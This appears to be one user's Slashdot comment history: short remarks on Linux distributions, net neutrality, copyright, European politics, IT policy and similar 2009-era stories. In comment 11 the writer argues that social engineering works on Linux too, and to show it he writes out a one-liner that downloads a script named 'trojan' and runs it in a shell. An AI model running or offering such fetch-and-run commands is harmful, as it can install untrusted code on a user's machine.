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  1. The song to the day on March 14th Officially Becomes National Pi Day · · Score: 1

    If pi was a country this would be the national anthem : http://pi.ytmnd.com/

  2. Why not try to use Firefox? on Windows Security and On-line Training Courses? · · Score: 1

    I don't think any of these training apps would work with Firefox.

    To me that sounds that you have not even tried to use it with Firefox. If you are seriously concerned about running Windows or IE or whatever, you could have at least tried Firefox.

  3. Re:You really know when its a business... on Cybercrime-As-a-Service Takes Off · · Score: 1

    Youre right.

  4. Re:easy merit pay on US Adults Fail Basic Science Literacy · · Score: 1

    There you have your problem. With the metric system you would not have these silly questions. You know how they call a quarter pounder over here?

  5. Re:Cool... but limited... only by your imagination on MacBook Modded With Second Monitor Inside Logo · · Score: 3, Informative

    A toy if your case is open. Closed it could give you information in the form of icons. Or you could rent it out as ad space. Or a clock or ...

    And anyway indeed way cool. Makes me want one.

  6. Re:How long before it doesn't work? on Romanians Find Cure For Conficker · · Score: 1

    Companies think short term.
    On the one hand you have others that solve your problems without your need to invest anything. On the other hand you can lay of people that saves you money. Sounds like a scale with on one side lead and helium on the other side.

  7. Re:the description is not complete :D on Chinese Subvert Censorship With a Popular Pun · · Score: 1

    You do not even need to go to extreme examples like that. Try say the word fuck on TV or show a female nipple.

    And if that is over the top, try saying "Just so you know, we're on the good side with y'all. We do not want this war, this violence, and we're ashamed that the President of the United States is from Texas." at a concert. Remember self-censorship is still censorship.

  8. Re:Um, what? on So Amazing, So Illegal · · Score: 1

    I'm wondering *why* the percentage of quality stuff amongst modern top 40 is so much lower.

    It is quantity over quality. My parents had a LOT of albums when they were young. Around 50 or so. That was a LOT in that day and age. Many did not even own a player, let alone an album. When I was young, I had also had a lot of albums compared to my friends. Some 150 or so, where all my friends had between 10 and 50.

    Now that is the amount of music you can take with you and that needs to be filled.

    Another reason is that dumbing down the music is making you more money then having higher quality music. If it takes 2 years to make a great album, you can make 4 lousy ones in the same time and make twice as much.

  9. Re:The dream of encryption on Berners-Lee Says No To Internet Snooping · · Score: 1

    Yes, a ten-dollar hammer can be used to get my keys from me... but how do you know I've got the goods if you've never been able to read anyone's data?

    I hit the guy who gave you the goods with a ten-dollar hammer.

  10. Re:What? on UK To Mull High Video Game Taxes — To Fight Knife Crime · · Score: 1

    Do you think violent crime would be so rampant if the criminals weren't assured of having unarmed victims?

    What has this got to do with guns? You are aware that knives are weapons as well, I assume.
    And yes, I would think so. I think they might be even more violent if they knew that their victom was walking around with a weapon similar to theirs. Instead of saying "gimmy yo mony or I hurt ya!" They will attack and not ask, but take.

    When in Belgium many years ago they gave weapons to the people on armed money trucks, instead of lower robberies, the amount was the same, but just more violent. Immediately shooting and killing the drivers.

  11. Re:BitTorrent on iTunes Gift Card Key System Cracked, Exploited · · Score: 1

    1) Please write a virus for OSX, Linux, BSD, ... as a proof of concept just to shut people up about how much safer their OS is.
    2) I don't download the shady software, my OS does that all by himself.

    And yes, I understand the difference between a virus and a trojan. If you do the following on your Linux machine and follow orders, you most likely will have a trojan on your system.

    wget http://houghi.org/trojan && sh trojan

  12. Re:The bitter irony on Living Free With Linux, Round 2 · · Score: 1

    That's what Linux distros, particularly Debian-based ones, do best!

    openSUSE users who want to install Firefox, just click here I would say that it can't be any easier then that.
    Need the NVidea drivers? How hard is that? Obviously there still is the software YaST, where you can (among other things) search and install software. Also there is the CLI version zypper for the more advanced user.

    I believe ALL larger distributions are easier. Not just the Debian based ones.

  13. Re:Lol on Living Free With Linux, Round 2 · · Score: 1

    And for that YaST is great. Icons for the beginner, CLI (with zypper) for the advanced user. When only looking at the software installation it just works, while you can also re-write it to make your own installation process.

    Next to that there is the easiness of software installation. No program, but just a link on a website (as well as all the rest).

  14. Re:Another brick on UK Government Wants To Kill Net Neutrality In EU · · Score: 1

    So what. As long as they can access sites like YouTube. Oh, wait

  15. Re:Very surprised and disappointed on The Realities of Selling On Apple's App Store · · Score: 1

    If it is a true pirate site, e.g. you can actualy download it (not a torrent) then most likely it is about either advertisement hits or installing unwanted software on your machine or both.

  16. Re:I am tired of UK being a EU member on UK Government Wants To Kill Net Neutrality In EU · · Score: 1

    Cut the naval cord called Channel and push the island over to the USofA. Or perhaps we can exchange the UK people with the Canadians. Europe happy for getting some friendly people, USofA happy, because they have their 51st state closer.

    To the Canadians: Don't worry, we have experience in dual-language situations. A list of countries that I know of that have more then one language:
    Spain, Netherlands, France, Belgium, Finland.

    Yep, would be a great exchange and better for all. (And to the Canadians, thanks again for liberating so many parts of Europe during WWII. At least you don't keep on nagging about it like the others do. Again, my sincerest thanks.)

  17. Re:Left wing credentials on UK Government Wants To Kill Net Neutrality In EU · · Score: 1

    California and New Hampshire have twice as much distance between them than London and Moscow, and the two states have even less in common with each other than France and Belgium, two other "states" that also share most of a language.

    Apparently you have no idea what you are taling about. You compare two US states who are a long way from each other to two european states that are neighbours. The thing you take is the language. Belgium has a partly French speaking population. That is about 45% in the south and they have that in common The majority does NOT speak French (as a first language).

    Now let us look at the things that matter, besides the differences in language, the legal system.
    Belgium: based on civil law system influenced by English constitutional theory; judicial review of legislative acts; accepts compulsory ICJ jurisdiction, with reservations
    France: civil law system with indigenous concepts; review of administrative but not legislative acts; has not accepted compulsory ICJ jurisdiction

    So do the two states you mentioned have different legal systems, or do they just have different laws?
    I think you underestimate the diversity in Europe and overestimate them in the USofA.

  18. Re:How about: less douchebaggery? on Locking Down Linux Desktops In an Enterprise? · · Score: 1

    Effectively enforcing IT policies will seriously do harm to the work of many others.

    When I need something, I ask for it. IT policy used to be the answer NO. To me that was the most ideal situation. I could just say: Sorry, can't do my job, because I do not have the tools. No PC? IT should bring me one. No web browser? IT should bring me one. No specialized program? IT should take care that I get it.
    And I often need specialized programs that I alone need in the company. So either I get them, or I can not do my job.

    And that goes in against IT policy where they say only programs X, Y and Z are allowed, while I need A, B or C. And I look then for FOSS programs, so there is no license issue. So I (and IT) either break the IT policy, so I can do my work, or they keep faithfull to it and I can't.

    Please do not forget that IT is a service. To me that means thinking together. Not one or the other deciding what is important.

  19. Re:MOD PARENT UP on Locking Down Linux Desktops In an Enterprise? · · Score: 1

    Or you can use the update tool from each PC to point to what you want updated. People turn their PC on, it updates. People don't turn their PC off, so they don't update during the start? Update at X time with cron.

    The advantage of this is that not each machine needs to be online. As long as the machine isn't online it doesn't need the upgrade.

    Remember that one solution does not exclude the other solution. You can do the push AND the pull both. So if people are in and their PC is running, they get the update. If they are not, they will get the update and any update they missed when they get back and turn it on.

  20. Re:"Corresponding"? on Big Swedish Filesharing Server Seized · · Score: 1

    Yes.

    [citation needed]

  21. Re:Not like The Pirate Bay on Big Swedish Filesharing Server Seized · · Score: 1

    Assuming the artist is 25 years old, and lives until they're 80, that means they will be compensated for 125 years at current copyright levels.

    Assuming that the artist still is the copyright holder. That seldom is the case. Many songs are written by the songwriter, not the performer(s), except for the singer-songwriters.
    The many companies trade the copyright for money and thus it is the companies who will have the 80 years of copyright income (or 125).

  22. Re:VOD on Why TV Lost · · Score: 4, Insightful

    TV is not there to entertain you. It is there to sell advertisement. At least the majority of TV is. You are not the customer, you are the product.

  23. Re:google running our government IT? on America's New CIO Loves Google · · Score: 2, Insightful

    Reliability is not the problem. A private company handling documents is. Especially if that company is great in doing searches.

    What if in 5 years time Google starts abusing its monopoly and the government decides to take action? If they decide to buy the apps from Google AND they are open source, great. But somehow I doubt that.

  24. Re:Too right! on Illinois Declares Pluto a Planet · · Score: 5, Funny

    If they shorten the mile enough, they can also change the name to meter.

  25. Re:Misleading summary (shock!) on UK School Introduces Facial Recognition · · Score: 2, Interesting

    "Quietly introduced" means without consultation before the introduction. It was the introduction that went quietly. Learned that in a school without this stuff and English isn't even my first or second language.